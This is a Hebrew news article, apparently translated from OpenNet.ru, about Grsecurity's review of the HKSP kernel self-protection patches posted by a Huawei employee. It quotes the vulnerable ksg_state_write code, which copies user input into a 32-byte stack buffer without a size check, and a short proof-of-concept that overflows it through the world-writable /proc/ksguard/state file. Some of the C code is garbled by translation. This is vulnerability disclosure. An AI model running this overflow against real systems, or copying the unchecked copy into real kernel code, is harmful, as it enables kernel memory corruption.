בעיות אבטחה בתיקונים שהוצעו על ידי עובד Huawei כדי להגן על ליבת לינוקס

מפתחי פרויקט Grsecurity צייר תשומת לב לנוכחות של פגיעות טריוויאלית הניתנת לניצול בערכת התיקון HKSP (Huawei Kernel Self Protection), לפני מספר ימים מוּצָע כדי לשפר את האבטחה של ליבת לינוקס. המצב מזכיר מקרה עם סמסונג, שבו ניסיון לשפר את אבטחת המערכת הוביל להופעתה של פגיעות חדשה והקל על פגיעה במכשירים.

תיקוני ה-HKSP פורסמו על ידי עובד Huawei, כוללים אזכור של Huawei בפרופיל GitHub, ומשתמשים במילה Huawei בשם הפרויקט (HKSP - Huawei Kernel Self Protection). יחד עם זאת, נציגי Huawei הכחישו את הקשר של פרויקט HKSP עם החברה והצהירו כי הקוד פותח ביוזמה אישית של העובד, אינו פרויקט Huawei רשמי ואינו משמש במוצרי החברה. עַל עמוד GitHub HKSP רטרואקטיבית לאחר הגילוי גם פגיעות הוסף שימו לב שהפרויקט מפותח בזמני הפנוי למטרות מחקר.

HKSP כולל שינויים כמו אקראי של קיזוז במבנה ה-cred, הגנה מפני התקפות על מרחב השמות של מזהה המשתמש (pid namespace), הפרדת מחסנית התהליך מאזור mmap, זיהוי של קריאות כפולות לפונקציית kfree, חסימת דליפות דרך הפסאודו. -FS /proc (/proc/ {modules, keys, key-users}, /proc/sys/kernel/* ו-/proc/sys/vm/mmap_min_addr, /proc/kallsyms), שיפור באקראי של כתובת מרחב משתמש, Ptrace נוסף הגנה, הגנת smap ו-smep משופרת, היכולת לאסור שליחת נתונים דרך שקעים גולמיים, חסימת כתובות שגויות בשקעי UDP ובדיקת תקינות התהליכים הרצים. הוא כולל גם את מודול ליבת Ksguard, שמטרתו לזהות ניסיונות להכניס ערכות שורש טיפוסיות.

טלאים שקוראים לו גרג קרואה-הרטמן, שאחראי על תחזוקת הענף היציב של ליבת לינוקס, עניין אותו, וביקש מהמחבר לפרק את התיקון המונוליטי לחלקים כדי לפשט את הסקירה והקידום לגרעין הראשי. קיס קוק, ראש פרויקט על קידום גם טכנולוגיית הגנה אקטיבית בליבת לינוקס באופן חיובי הגיב לתיקונים ובין הבעיות, הפנה את תשומת הלב לקשירה לארכיטקטורת x86 ולאופי ההתראה של מצבים רבים, שרק רושמים מידע על הבעיה, אך לא מנסים לחסום אותה.

מחקר של התיקון על ידי מפתחי Grsecurity חשף שגיאות וחולשות רבות בקוד, וגם הראה את היעדר מודל איומים שיאפשר להם לשפוט כראוי את יכולות הפרויקט. כדי להדגים בבירור שהקוד נכתב ללא שימוש בשיטות תכנות מאובטחות, ניתנת דוגמה לפגיעות טריוויאלית במטפל.
קובץ /proc/ksguard/state, שנוצר עם זכויות 0777, מה שמרמז שלכולם יש גישת כתיבה. הפונקציה ksg_state_write, המשמשת לניתוח פקודות שנכתבו ל-/proc/ksguard/state, יוצרת מאגר tmp[32] שאליו נכתבים נתונים על סמך גודל האופרנד המועבר, מבלי לקחת בחשבון את גודל מאגר המטרה וללא בדיקת הפרמטר עם גודל המחרוזת. הָהֵן. כדי להחליף חלק מחסנית הליבה, תוקף רק צריך לכתוב שורה בפורמט מיוחד ל-/proc/ksguard/state.

static ssize_t ksg_state_write(קובץ struct *קובץ, const char __user *buf,
size_t len, loff_t *offset)
{
ערך u64;
char tmp[32];
size_t n = 0;

if (copy_from_user(tmp, buf, len))
return -1;

value = simple_strtoul(tmp, '\0', 10);
...

ניצול אב טיפוס:

char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
if (fd >= 0) {
write(fd, buf, sizeof(buf));
close(fd);
}

מקור: OpenNet.ru